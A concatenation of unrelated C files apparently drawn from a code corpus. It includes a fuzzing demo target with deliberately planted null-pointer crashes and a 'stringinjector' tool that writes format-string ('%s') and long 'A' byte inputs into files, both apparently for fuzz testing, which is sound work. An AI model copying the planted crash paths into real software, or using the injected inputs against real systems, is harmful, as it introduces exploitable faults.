n682 = (n415 ^ n548) ^ n665;
n683 = (n415 & n548) | (n548 & n665) | (n415 & n665);
n749 = (n6 & n22) | (n22 & n103) | (n6 & n103);
n764 = n8 & n22;
n782 = n10 & n22;
n798 = n12 & n22;
n799 = n12 & n22;
n814 = n14 & n22;
n898 = n648 | n764;
n914 = n664 ^ n782;
n915 = n664 & n782;
n932 = (n682 ^ n798) ^ n915;
n933 = (n682 & n798) | (n798 & n915) | (n682 & n915);
n948 = (n683 ^ n814) ^ n933;
n949 = (n683 & n814) | (n814 & n933) | (n683 & n933);
n987 = n175;
n1014 = n6 & n24;
n1032 = n8 & n24;
n1048 = n10 & n24;
n1064 = n12 & n24;
n1082 = n14 & n24;
n1142 = ~n799;
n1148 = n898 ^ n1014;
n1149 = n898 & n1014;
n1164 = (n914 ^ n1032) ^ n1149;
n1165 = (n914 & n1032) | (n1032 & n1149) | (n914 & n1149);
n1182 = (n932 ^ n1048) ^ n1165;
n1183 = (n932 & n1048) | (n1048 & n1165) | (n932 & n1165);
n1198 = (n948 ^ n1064) ^ n1183;
n1199 = (n948 & n1064) | (n1064 & n1183) | (n948 & n1183);
n1214 = (n949 ^ n1082) ^ n1199;
n1215 = (n949 & n1082) | (n1082 & n1199) | (n949 & n1199);
n1264 = n4 & n26;
n1282 = n6 & n26;
n1294 = n87 & n548;
n1298 = n8 & n26;
n1314 = n10 & n26;
n1332 = n12 & n26;
n1348 = n14 & n26;
n1399 = n1148 | n1264;
n1414 = (n1164 ^ n1282) ^ n1399;
n1415 = (n1164 & n1282) | (n1282 & n1399) | (n1164 & n1399);
n1432 = (n1182 ^ n1298) ^ n1415;
n1433 = (n1182 & n1298) | (n1298 & n1415) | (n1182 & n1415);
n1448 = (n1198 ^ n1314) ^ n1433;
n1449 = (n1198 & n1314) | (n1314 & n1433) | (n1198 & n1433);
n1464 = (n1214 ^ n1332) ^ n1449;
n1465 = (n1214 & n1332) | (n1332 & n1449) | (n1214 & n1449);
n1482 = (n1215 ^ n1348) ^ n1465;
n1483 = (n1215 & n1348) | (n1348 & n1465) | (n1215 & n1465);
n1532 = n4 & n28;
n1548 = n6 & n28;
n1564 = n8 & n28;
n1582 = n10 & n28;
n1596 = ~n89;
n1598 = n12 & n28;
n1614 = n14 & n28;
n1632 = n1433 & n1142;
n1638 = n987 & n1596;
n1664 = n1414 ^ n1532;
n1665 = n1414 & n1532;
n1682 = (n1432 ^ n1548) ^ n1665;
n1683 = (n1432 & n1548) | (n1548 & n1665) | (n1432 & n1665);
n1698 = (n1448 ^ n1564) ^ n1683;
n1699 = (n1448 & n1564) | (n1564 & n1683) | (n1448 & n1683);
n1714 = (n1464 ^ n1582) ^ n1699;
n1715 = (n1464 & n1582) | (n1582 & n1699) | (n1464 & n1699);
n1732 = (n1482 ^ n1598) ^ n1715;
n1733 = (n1482 & n1598) | (n1598 & n1715) | (n1482 & n1715);
n1748 = (n1483 ^ n1614) ^ n1733;
n1749 = (n1483 & n1614) | (n1614 & n1733) | (n1483 & n1733);
n1764 = n0 & n30;
n1782 = n2 & n30;
n1798 = n4 & n30;
n1814 = n6 & n30;
n1832 = n8 & n30;
n1848 = n10 & n30;
n1864 = n12 & n30;
n1882 = n14 & n30;
n1898 = n37 ^ n1764;
n1914 = n1664 ^ n1782;
n1915 = n1664 & n1782;
n1932 = (n1682 ^ n1798) ^ n1915;
n1933 = (n1682 & n1798) | (n1798 & n1915) | (n1682 & n1915);
n1948 = (n1698 ^ n1814) ^ n1933;
n1949 = (n1698 & n1814) | (n1814 & n1933) | (n1698 & n1933);
n1964 = (n1714 ^ n1832) ^ n1949;
n1965 = (n1714 & n1832) | (n1832 & n1949) | (n1714 & n1949);
n1982 = (n1732 ^ n1848) ^ n1965;
n1983 = (n1732 & n1848) | (n1848 & n1965) | (n1732 & n1965);
n1998 = (n1748 ^ n1864) ^ n1983;
n1999 = (n1748 & n1864) | (n1864 & n1983) | (n1748 & n1983);
n2014 = (n1749 ^ n1882) ^ n1999;
n2015 = (n1749 & n1882) | (n1882 & n1999) | (n1749 & n1999);
c |= (n1294 & 0x1) << 0;
c |= (n1638 & 0x1) << 1;
c |= (n83 & 0x1) << 2;
c |= (n1264 & 0x1) << 3;
c |= (n749 & 0x1) << 4;
c |= (n1082 & 0x1) << 5;
c |= (n1632 & 0x1) << 6;
c |= (n1898 & 0x1) << 7;
c |= (n1914 & 0x1) << 8;
c |= (n1932 & 0x1) << 9;
c |= (n1948 & 0x1) << 10;
c |= (n1964 & 0x1) << 11;
c |= (n1982 & 0x1) << 12;
c |= (n1998 & 0x1) << 13;
c |= (n2014 & 0x1) << 14;
c |= (n2015 & 0x1) << 15;
return c;
}
|
the_stack_data/242655.c | ////////////////////////////////////////////////////////////////////////////////////
// Coldsnap is a "Hello World" example of a snapshot fuzzer built in python & rust /
////////////////////////////////////////////////////////////////////////////////////
//
// Author: Evan Custodio
//
// Copyright 2020 Evan Custodio
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the Software
// is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
// OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
// IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
// TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
// OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
// Description: target is our target application for fuzzing
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Our flawless Processing Function
void process(char** argv)
{
if (strlen(argv[1]) < 8)
return;
if (argv[1][0] == 'C')
{
if (argv[1][1] == 'r')
{
if (argv[1][2] == 'A')
{
if (argv[1][3] == 'S')
{
if (argv[1][4] == 'h')
{
if (argv[1][5] == '!')
{
if (argv[1][6] == '!')
{
// Crash #1 - CrASh!!
*(char*)(0) = 0;
}
}
}
}
}
}
}
if (argv[1][0] == 'B')
{
if (argv[1][1] == 'u')
{
if (argv[1][2] == 'R')
{
if (argv[1][3] == 'N')
{
if (argv[1][4] == 'n')
{
if (argv[1][5] == '!')
{
if (argv[1][6] == '!')
{
// Crash #2 - BuRNn!!
// Make Burn a little harder, must me an 8 char string
if (strlen(argv[1]) == 8) *(char*)(0) = 0;
}
}
}
}
}
}
}
}
// Null function to act as our snapshot start point
void startf(void)
{
__asm__ ( "nop;");
}
// Null function to act as our snapshot end point
void endf(void)
{
__asm__ ( "nop;");
}
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: ./target <argument>\n");
exit(1);
}
// Snapshot start location
startf();
// Function under test
process(argv);
// Snapshot end location
endf();
return 0;
}
|
the_stack_data/178264728.c | #include <stdio.h>
#include <string.h>
int main(void)
{
char userInput[64];
printf("enter something: ");
//fgets is used to get a userinput that is max 64 chars long
while(fgets(userInput, 64, stdin))
{
printf("you entered: %s \n", userInput);
//strncmp is used to break out of the while loop when the user inputs "quit"
if(strncmp(userInput, "quit", 4) == 0)
{
printf("Breaking... \n");
break;
}
}
} |
the_stack_data/24685.c | /* Test hton/ntoh functions.
Copyright (C) 1997-2017 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Ulrich Drepper <[email protected]>, 1997.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <endian.h>
#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#if BYTE_ORDER == BIG_ENDIAN
# define TEST(orig, swapped, fct) \
if ((fct (orig)) != (orig)) { \
printf ("Failed for %s -> %#x\n", #fct "(" #orig ")", fct (orig)); \
result = 1; \
}
#elif BYTE_ORDER == LITTLE_ENDIAN
# define TEST(orig, swapped, fct) \
if ((fct (orig)) != (swapped)) { \
printf ("Failed for %s -> %#x\n", #fct "(" #orig ")", fct (orig)); \
result = 1; \
}
#else
# error "Bah, what kind of system do you use?"
#endif
u_int32_t lo = 0x67452301;
u_int16_t foo = 0x1234;
int
main (void)
{
int result = 0;
TEST (0x67452301, 0x01234567, htonl);
TEST (0x67452301, 0x01234567, (htonl));
TEST (0x67452301, 0x01234567, ntohl);
TEST (0x67452301, 0x01234567, (ntohl));
TEST (lo, 0x01234567, htonl);
TEST (lo, 0x01234567, (htonl));
TEST (lo, 0x01234567, ntohl);
TEST (lo, 0x01234567, (ntohl));
TEST (0x1234, 0x3412, htons);
TEST (0x1234, 0x3412, (htons));
TEST (0x1234, 0x3412, ntohs);
TEST (0x1234, 0x3412, (ntohs));
TEST (foo, 0x3412, htons);
TEST (foo, 0x3412, (htons));
TEST (foo, 0x3412, ntohs);
TEST (foo, 0x3412, (ntohs));
return result;
}
|
the_stack_data/231393674.c | /*
* Copyright (c) 2017, [Ribose Inc](https://www.ribose.com).
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#define MAX_BUF_LEN 2048
#define MAX_POSSTR_LEN sizeof(off_t) * 8 - 1
#define MAX_LINE_LEN 1024
#define MAX_FILE_NUM_TYPE_1 256
#define FORMAT_STR "%s"
#define INJECT_STR_CHAR '\x41'
/* inject types */
enum STR_INJECT_TYPE {
STR_INJECT_TYPE_1,
STR_INJECT_TYPE_2,
STR_INJECT_TYPE_3,
STR_INJECT_TYPE_4,
STR_INJECT_TYPE_5,
STR_INJECT_TYPE_UNKNOWN,
};
/*
* print help
*/
static void print_help(void)
{
fprintf(stderr, "Usage: stringinjector [options]\n"
"[options]:\n"
"\tType1: [input file] [output file template] -h [position]\n"
"\tType2: [input file] [output file template] -h [position1,position2]\n"
"\tType3: [input file] [output file] -f [position] [count] [-r]\n"
"\tType4: [input file] [output file] -o [position] [len] [-r]\n"
"\tType5: [input file] [output file template] -i [position] [file which has inject lines] [-r]\n");
exit(1);
}
/*
* get file size
*/
static off_t get_fsize(const char *fpath)
{
struct stat st;
/* get stat of file */
if (stat(fpath, &st) != 0)
return -1;
return st.st_size;
}
/*
* parse position param for type 1
*/
static int parse_position_param(const char *pos_str, const char *fpath, off_t *_pos)
{
off_t pos;
/* check position */
pos = strtol(pos_str, NULL, 10);
if (pos < 0 || pos == LONG_MAX) {
fprintf(stderr, "Invalid position '%s'\n", pos_str);
return -1;
}
if (pos > get_fsize(fpath)) {
fprintf(stderr, "File size is too small to inject.\n");
return -1;
}
*_pos = pos;
return 0;
}
/*
* parse position param for type 2
*/
static int parse_position_param2(const char *pos_str, const char *fpath, off_t *_pos1, off_t *_pos2)
{
char pos1_str[MAX_POSSTR_LEN + 1], pos2_str[MAX_POSSTR_LEN + 1];
char *p;
off_t pos1, pos2, tmp_pos;
off_t fsize;
/* check ',' character */
p = strchr(pos_str, ',');
if (!p || p == pos_str || strlen(p) == 1) {
fprintf(stderr, "Invalid position string(%s). Should be 'pos1,pos2' format\n", pos_str);
return -1;
}
if (p - pos_str > MAX_POSSTR_LEN || strlen(p) > MAX_POSSTR_LEN) {
fprintf(stderr, "Invalid position string(%s). Too long position\n", pos_str);
return -1;
}
memset(pos1_str, 0, sizeof(pos1_str));
memset(pos2_str, 0, sizeof(pos2_str));
strncpy(pos1_str, pos_str, p - pos_str);
strncpy(pos2_str, p + 1, strlen(p));
/* check position */
pos1 = strtol(pos1_str, NULL, 10);
pos2 = strtol(pos2_str, NULL, 10);
if (pos1 < 0 || pos2 < 0 || pos1 == pos2) {
fprintf(stderr, "Invalid position '%s'\n", pos_str);
return -1;
}
fsize = get_fsize(fpath);
if (pos1 > fsize || pos2 > fsize) {
fprintf(stderr, "File size is too small to inject.\n");
return -1;
}
/* revert position value if first is bigger than second */
if (pos1 > pos2) {
tmp_pos = pos1;
pos1 = pos2;
pos2 = tmp_pos;
}
/* set result */
*_pos1 = pos1;
*_pos2 = pos2;
return 0;
}
/*
* open file for reading
*/
static FILE *open_file(const char *fpath, int read_only)
{
int fd;
FILE *fp;
/* open file */
if (read_only)
fd = open(fpath, O_RDONLY);
else
fd = open(fpath, O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR | S_IWUSR);
if (fd < 0)
return NULL;
return fdopen(fd, read_only ? "rb" : "wb");
}
/*
* write buffer into destination file
*/
static void write_dst_file(FILE *fp, void *buffer, size_t size)
{
int i;
size_t write_total = 0;
/* check write size */
if (size == 0)
return;
/* write buffer */
while (write_total < size) {
size_t write_bytes;
write_bytes = fwrite((char *) buffer + write_total, 1, size - write_total, fp);
if (write_bytes == 0)
break;
write_total += write_bytes;
}
}
/*
* inject single hex
*/
static void inject_single_hex(FILE *fp, void *buffer, size_t buffer_len, off_t offset, char inject)
{
/* write offset bytes */
if (offset > 0)
write_dst_file(fp, buffer, offset);
/* inject hex value */
write_dst_file(fp, &inject, 1);
/* write remain bytes */
if (buffer_len - offset - 1 > 0)
write_dst_file(fp, buffer + offset + 1, buffer_len - offset - 1);
}
/*
* inject multiple hex values
*/
static void inject_multiple_hex(FILE *src_fp, FILE *dst_fp, void *buffer, size_t read_total, size_t read_len,
void *inject, size_t inject_len, off_t pos, int replace)
{
size_t offset = read_len - (read_total - pos);
/* write offset bytes */
if (offset > 0)
write_dst_file(dst_fp, buffer, offset);
/* write inject buffer */
write_dst_file(dst_fp, inject, inject_len);
/* write remain data */
if (replace) {
if (read_len - offset > inject_len)
write_dst_file(dst_fp, buffer + offset + inject_len, read_len - offset - inject_len);
else {
/* seek file position */
fseek(src_fp, inject_len - (read_total - pos), SEEK_CUR);
}
} else
write_dst_file(dst_fp, buffer + offset, read_len - offset);
}
/*
* single hex byte injection
*/
static void str_inject_func_t1(const char *src_fpath, const char *dst_fpath_templ, const char *pos_str)
{
FILE *fp;
off_t pos;
int i;
/* parse position param */
if (parse_position_param(pos_str, src_fpath, &pos) != 0)
return;
/* open source file */
fp = open_file(src_fpath, 1);
if (!fp) {
fprintf(stderr, "Couln't open file '%s'\n", src_fpath);
return;
}
/* open destination file */
for (i = 0; i < MAX_FILE_NUM_TYPE_1; i++) {
FILE *dst_fp;
char dst_fpath[512];
size_t read_total = 0;
int inject_completed = 0;
/* open destination file */
snprintf(dst_fpath, sizeof(dst_fpath), "%s.%03d", dst_fpath_templ, i);
dst_fp = open_file(dst_fpath, 0);
if (!dst_fp)
continue;
while (!feof(fp)) {
size_t read_bytes;
char buffer[MAX_BUF_LEN];
/* read buffer from file */
read_bytes = fread(buffer, 1, MAX_BUF_LEN, fp);
read_total += read_bytes;
if (read_total <= pos || inject_completed) {
write_dst_file(dst_fp, buffer, read_bytes);
} else {
off_t offset = read_bytes - (read_total - pos);
/* inject single hex value */
inject_single_hex(dst_fp, buffer, read_bytes, offset, i);
/* set flag for inject completion */
inject_completed = 1;
}
}
/* seek file position into begin */
fseek(fp, 0L, SEEK_SET);
/* close destination file */
fclose(dst_fp);
}
/* close source file */
fclose(fp);
}
/*
* double hex bytes injection
*/
static void str_inject_func_t2(const char *src_fpath, const char *dst_fpath_templ, const char *pos_str)
{
FILE *fp;
off_t pos1, pos2;
int i;
/* parse positions */
if (parse_position_param2(pos_str, src_fpath, &pos1, &pos2) < 0)
return;
/* open source file */
fp = open_file(src_fpath, 1);
if (!fp) {
fprintf(stderr, "Couln't open file '%s'\n", src_fpath);
return;
}
for (i = 0; i < MAX_FILE_NUM_TYPE_1; i++) {
char dst_fpath[512];
int j;
for (j = 0; j < MAX_FILE_NUM_TYPE_1; j++) {
FILE *dst_fp;
int inject_completed1 = 0, inject_completed2 = 0;
size_t read_total = 0;
/* open destination file */
snprintf(dst_fpath, sizeof(dst_fpath), "%s.%03d.%03d", dst_fpath_templ, i, j);
dst_fp = open_file(dst_fpath, 0);
if (!dst_fp)
continue;
while (!feof(fp)) {
size_t read_bytes;
char buffer[MAX_BUF_LEN];
/* read buffer from file */
read_bytes = fread(buffer, 1, MAX_BUF_LEN, fp);
read_total += read_bytes;
if (read_total <= pos1 || inject_completed2 || (inject_completed1 && read_total <= pos2)) {
write_dst_file(dst_fp, buffer, read_bytes);
} else if (!inject_completed1 && (read_total > pos1 && read_total > pos2)) {
off_t offset1, offset2;
offset1 = read_bytes - (read_total - pos1);
offset2 = read_bytes - (read_total - pos2);
/* inject hex value into position 1 */
inject_single_hex(dst_fp, buffer, offset2, offset1, i);
/* inject hex value into position 2 */
inject_single_hex(dst_fp, buffer + offset2, read_bytes - offset2, 0, j);
inject_completed2 = 1;
} else {
off_t offset, pos = (read_total > pos2) ? pos2 : pos1;
/* calculate offset */
offset = read_bytes - (read_total - pos);
/* inject hex value into position */
inject_single_hex(dst_fp, buffer, read_bytes, offset, (read_total > pos2) ? j : i);
if (read_total > pos2)
inject_completed2 = 1;
else
inject_completed1 = 1;
}
}
/* seek file position into begin */
fseek(fp, 0L, SEEK_SET);
/* close destination file */
fclose(dst_fp);
}
}
/* close source file */
fclose(fp);
}
/*
* inject format string or character string
*/
static void str_inject_func_t34(const char *src_fpath, const char *dst_fpath, const char *pos_str,
const char *count_str, int inject_format, int replace)
{
FILE *fp, *dst_fp;
off_t pos;
off_t src_fsize;
size_t read_total = 0;
int inject_completed = 0;
char *inject = NULL;
int i, count;
size_t total_inject_bytes = 0;
/* parse position param */
if (parse_position_param(pos_str, src_fpath, &pos) != 0)
return;
/* parse count */
count = strtol(count_str, NULL, 10);
if (count <= 0) {
fprintf(stderr, "Invalid count value(%s)\n", count_str);
return;
}
total_inject_bytes = inject_format ? count * 2 : count;
src_fsize = get_fsize(src_fpath);
if (replace && src_fsize < (pos + total_inject_bytes))
total_inject_bytes = src_fsize - pos;
/* set inject string */
inject = (char *) malloc(total_inject_bytes + 1);
if (!inject) {
fprintf(stderr, "Out of memory!\n");
return;
}
for (i = 0; i < total_inject_bytes; i++) {
if (inject_format)
inject[i] = i % 2 ? 's' : '%';
else
inject[i] = INJECT_STR_CHAR;
}
/* open source file */
fp = open_file(src_fpath, 1);
if (!fp) {
fprintf(stderr, "Couln't open file '%s'\n", src_fpath);
free(inject);
return;
}
/* open destination file */
dst_fp = open_file(dst_fpath, 0);
if (!dst_fp) {
fclose(fp);
free(inject);
return;
}
while (!feof(fp)) {
size_t read_bytes;
char buffer[MAX_BUF_LEN];
/* read buffer from file */
read_bytes = fread(buffer, 1, MAX_BUF_LEN, fp);
read_total += read_bytes;
if (read_total <= pos || inject_completed) {
write_dst_file(dst_fp, buffer, read_bytes);
} else {
/* inject multiple hex values */
inject_multiple_hex(fp, dst_fp, buffer, read_total, read_bytes,
inject, total_inject_bytes, pos, replace);
inject_completed = 1;
}
}
fclose(dst_fp);
fclose(fp);
free(inject);
}
/*
* inject each line from given file
*/
static void str_inject_func_t5(const char *src_fpath, const char *dst_fpath_templ, const char *pos_str,
const char *inject_fpath, int replace)
{
FILE *fp, *inject_fp;
off_t pos;
char inject_line[MAX_LINE_LEN + 1];
int inject_fcount = 0;
off_t src_fsize;
/* parse position param */
if (parse_position_param(pos_str, src_fpath, &pos) != 0)
return;
/* open source file */
fp = open_file(src_fpath, 1);
if (!fp) {
fprintf(stderr, "Couln't open file '%s'\n", src_fpath);
return;
}
src_fsize = get_fsize(src_fpath);
/* open file which has inject lines */
inject_fp = open_file(inject_fpath, 1);
if (!inject_fp) {
fprintf(stderr, "Couln't open file '%s' which has inject lines\n", inject_fpath);
fclose(fp);
return;
}
while (fgets(inject_line, sizeof(inject_line), inject_fp) != NULL) {
FILE *dst_fp;
char dst_fpath[256];
size_t read_total = 0;
int inject_completed = 0;
size_t inject_len;
/* remove end line */
if (strstr(inject_line, "/r/n"))
inject_line[strlen(inject_line) - 2] = '\0';
else if (inject_line[strlen(inject_line) - 1] == '\n')
inject_line[strlen(inject_line) - 1] = '\0';
/* check line length */
inject_len = strlen(inject_line);
if (inject_len == 0)
continue;
if (replace && src_fsize < (pos + inject_len))
inject_len = src_fsize - pos;
/* open destination file */
snprintf(dst_fpath, sizeof(dst_fpath), "%s.%d", dst_fpath_templ, inject_fcount);
dst_fp = open_file(dst_fpath, 0);
if (!dst_fp)
continue;
while (!feof(fp)) {
size_t read_bytes;
char buffer[MAX_BUF_LEN];
/* read buffer from file */
read_bytes = fread(buffer, 1, MAX_BUF_LEN, fp);
read_total += read_bytes;
if (read_total <= pos || inject_completed) {
write_dst_file(dst_fp, buffer, read_bytes);
} else {
/* inject multiple hex values */
inject_multiple_hex(fp, dst_fp, buffer, read_total, read_bytes, inject_line, inject_len, pos, replace);
inject_completed = 1;
}
}
/* close destination file */
fclose(dst_fp);
/* seek file position into begin */
fseek(fp, 0L, SEEK_SET);
/* increase inject file count */
inject_fcount++;
}
fclose(fp);
fclose(inject_fp);
}
/*
* main function
*/
int main(int argc, char *argv[])
{
enum STR_INJECT_TYPE inject_type = STR_INJECT_TYPE_UNKNOWN;
int replace = 0;
/* check argument */
if (argc == 5 && strcmp(argv[3], "-h") == 0) {
inject_type = strchr(argv[4], ',') ? STR_INJECT_TYPE_2 : STR_INJECT_TYPE_1;
} else if (argc == 6 || argc == 7) {
if (strcmp(argv[3], "-f") == 0)
inject_type = STR_INJECT_TYPE_3;
else if (strcmp(argv[3], "-o") == 0)
inject_type = STR_INJECT_TYPE_4;
else if (strcmp(argv[3], "-i") == 0)
inject_type = STR_INJECT_TYPE_5;
if (argc == 7 && strcmp(argv[6], "-r") == 0)
replace = 1;
} else {
fprintf(stderr, "Invalid options.\n");
print_help();
}
/* check inject type */
if (inject_type == STR_INJECT_TYPE_UNKNOWN) {
fprintf(stderr, "Unknown injection option '%s'\n", argv[3]);
print_help();
}
switch (inject_type) {
case STR_INJECT_TYPE_1:
str_inject_func_t1(argv[1], argv[2], argv[4]);
break;
case STR_INJECT_TYPE_2:
str_inject_func_t2(argv[1], argv[2], argv[4]);
break;
case STR_INJECT_TYPE_3:
str_inject_func_t34(argv[1], argv[2], argv[4], argv[5], 1, replace);
break;
case STR_INJECT_TYPE_4:
str_inject_func_t34(argv[1], argv[2], argv[4], argv[5], 0, replace);
break;
case STR_INJECT_TYPE_5:
str_inject_func_t5(argv[1], argv[2], argv[4], argv[5], replace);
break;
default:
break;
}
return 0;
}
|
the_stack_data/165767932.c | /* source/rnd.c: random number generator
Copyright (c) 1989-91 James E. Wilson
This software may be copied and distributed for educational, research, and
not for profit purposes provided that this copyright and statement are
included in all such copies. */
/* This routine is straight out of the umoria5.3.1 distribution, except
that I hacked out the moria-specific stuff. -WPS- */
/* Define this to compile as a standalone test */
/* This alg uses a prime modulus multiplicative congruential generator
(PMMLCG), also known as a Lehmer Grammer, which satisfies the following
properties
(i) modulus: m - a large prime integer
(ii) multiplier: a - an integer in the range 2, 3, ..., m - 1
(iii) z[n+1] = f(z[n]), for n = 1, 2, ...
(iv) f(z) = az mod m
(v) u[n] = z[n] / m, for n = 1, 2, ...
The sequence of z's must be initialized by choosing an initial seed
z[1] from the range 1, 2, ..., m - 1. The sequence of z's is a pseudo-
random sequence drawn without replacement from the set 1, 2, ..., m - 1.
The u's form a psuedo-random sequence of real numbers between (but not
including) 0 and 1.
Schrage's method is used to compute the sequence of z's.
Let m = aq + r, where q = m div a, and r = m mod a.
Then f(z) = az mod m = az - m * (az div m) =
= gamma(z) + m * delta(z)
Where gamma(z) = a(z mod q) - r(z div q)
and delta(z) = (z div q) - (az div m)
If r < q, then for all z in 1, 2, ..., m - 1:
(1) delta(z) is either 0 or 1
(2) both a(z mod q) and r(z div q) are in 0, 1, ..., m - 1
(3) absolute value of gamma(z) <= m - 1
(4) delta(z) = 1 iff gamma(z) < 0
Hence each value of z can be computed exactly without overflow as long
as m can be represented as an integer.
*/
/* a good random number generator, correct on any machine with 32 bit
integers, this algorithm is from:
Stephen K. Park and Keith W. Miller, "Random Number Generators:
Good ones are hard to find", Communications of the ACM, October 1988,
vol 31, number 10, pp. 1192-1201.
If this algorithm is implemented correctly, then if z[1] = 1, then
z[10001] will equal 1043618065
Has a full period of 2^31 - 1.
Returns integers in the range 1 to 2^31-1.
*/
#define RNG_M 2147483647L /* m = 2^31 - 1 */
#define RNG_A 16807L
#define RNG_Q 127773L /* m div a */
#define RNG_R 2836L /* m mod a */
/* 32 bit seed */
static int rnd_seed;
void set_rnd_seed (seedval)
int seedval;
{
/* set seed to value between 1 and m-1 */
rnd_seed = (seedval % (RNG_M - 1)) + 1;
}
/* returns a pseudo-random number from set 1, 2, ..., RNG_M - 1 */
int rnd()
{
register long low, high, test;
high = rnd_seed / RNG_Q;
low = rnd_seed % RNG_Q;
test = RNG_A * low - RNG_R * high;
if (test > 0)
rnd_seed = test;
else
rnd_seed = test + RNG_M;
return rnd_seed;
}
|
the_stack_data/123322.c | /*This file is written by Meltem Çetiner*/
#include <stdio.h>
#include <stdio.h>
#include <string.h>
typedef enum {Ali, Ayse, Fatma, Mehmet}employee;
typedef enum {Monday, Tuesday, Wednesday, Thursday, Friday, Saturday, Sunday}day;
#define NUM_EMPLOYEES 4
#define NUM_DAYS 7
#define ENERGIES "Energies.txt"
#define REPORT "report.txt"
void read_matrix(const char* file_name, int m[NUM_EMPLOYEES][NUM_DAYS]);
void create_work_plan(int job_schedule[NUM_EMPLOYEES][NUM_DAYS], int m[NUM_EMPLOYEES][NUM_DAYS]);
int index_sort(const int m[],const int n,int ordinal);
void sort(int* mat1,int* mat2,const int size );
employee find_the_employer_of_the_day(int work_schedule[NUM_EMPLOYEES][NUM_DAYS], day day_name);
employee find_the_employer_of_the_week(int work_schedule[NUM_EMPLOYEES][NUM_DAYS]);
void report(const char* file_name, int job_scheduling[NUM_EMPLOYEES][NUM_DAYS]);
int main()
{
printf("..starting.\n");
int job_energies[NUM_EMPLOYEES][NUM_DAYS], schedule[NUM_EMPLOYEES][NUM_DAYS];
read_matrix(ENERGIES, job_energies);
create_work_plan(schedule, job_energies);
report(REPORT, schedule);
printf("..finishing.\n");
}
void read_matrix(const char* file_name, int m[NUM_EMPLOYEES][NUM_DAYS])
{
day c_day;
employee c_employee; //counters
FILE *inp;
inp = fopen(file_name,"r");
if( inp == NULL)
printf( " The file [ %s ] couldnt be found ..\n", file_name);
else
{
for(c_day=Monday; c_day < NUM_DAYS; c_day++)
{
for( c_employee=Ali; c_employee < NUM_EMPLOYEES; c_employee++)
{
if( fscanf( inp, "%d", &m[c_employee][c_day]) == EOF)
m[c_employee][c_day] = 0;
}
}
}
fclose(inp);
}
void create_work_plan(int job_schedule[NUM_EMPLOYEES][NUM_DAYS], int m[NUM_EMPLOYEES][NUM_DAYS])
{
day c_day;
employee c_employee;
int c_job, counter=0;
int total_energies[NUM_EMPLOYEES]={0,0,0,0};
int daily_works[]={0,0,0,0};
/*initializing*/
for ( c_employee=Ali ; c_employee<NUM_EMPLOYEES ; c_employee++)
{
for( c_day=Monday; c_day<NUM_DAYS; c_day++)
job_schedule[ c_employee ][ c_day ] = 0 ;
daily_works[c_employee] = 0 ;
}
/*filling the job_schedule matrix*/
for( c_day=Monday; c_day<NUM_DAYS; c_day++)
{
for ( c_employee=Ali; c_employee<NUM_EMPLOYEES ; c_employee++)
daily_works[c_employee]=m[c_employee][c_day];
int ordinality[]={ 0 , 1 , 2 , 3};
sort(daily_works,ordinality, NUM_EMPLOYEES);
for ( c_job=0 ; c_job<NUM_EMPLOYEES ; c_job++)
{
int index_employee = index_sort(total_energies,NUM_EMPLOYEES,c_job);
//printf("index %d : \t",index_employee);
job_schedule[ index_employee ][ c_day ] =daily_works[NUM_EMPLOYEES-(c_job+1)];
//printf("job_schedule[ %d ][ %d ] =%d :\n", index_employee , c_day , daily_works[ c_job ] );
}
